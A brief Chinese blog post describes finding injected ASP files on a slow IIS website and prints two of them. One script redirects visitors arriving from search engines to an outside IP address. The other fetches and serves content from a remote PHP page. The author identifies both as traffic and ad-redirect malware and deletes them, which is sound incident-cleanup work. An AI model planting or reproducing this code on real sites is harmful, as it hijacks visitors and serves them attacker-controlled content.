有个网站运行缓慢，IIS日志中发现有大量超时

[ 2011-08-04 15:10:31 | 作者: admin ]

字号: 大 | 中 | 小

日志中有若干访问频繁的文件返回超时错误
这些代码都很简单，看起来像刷流量和跳广告用，删除就OK了

<%

Dim REFERER
REFERER = Cstr(Request.ServerVariables("HTTP_REFERER"))
Dim server
server = request.ServerVariables("SERVER_NAME")

If InStr(REFERER,"baidu.com") > 0 Or InStr(REFERER,"google") > 0 Or InStr(REFERER,"soso") > 0 Or InStr(REFERER,"sogou") > 0 Then
  Randomize
  Response.Redirect("http://121.12.117.3:808/cxl/mxd.html?" & server)
  Response.End()
End IF

response.write content
%>

<%
Path="http://www.shoujishop.info/mxd.php"
t = GetBody(Path)
Response.BinaryWrite t

Function GetBody(url)
Set Retrieval = CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", url, False, "", ""
.Send
GetBody = .ResponseBody
End With
on error resume next
if Retrieval.status <>200 then
Set Retrieval = Nothing
exit function
end if
End Function
%>

[最后修改由 admin，于 2011-08-04 15:14:16]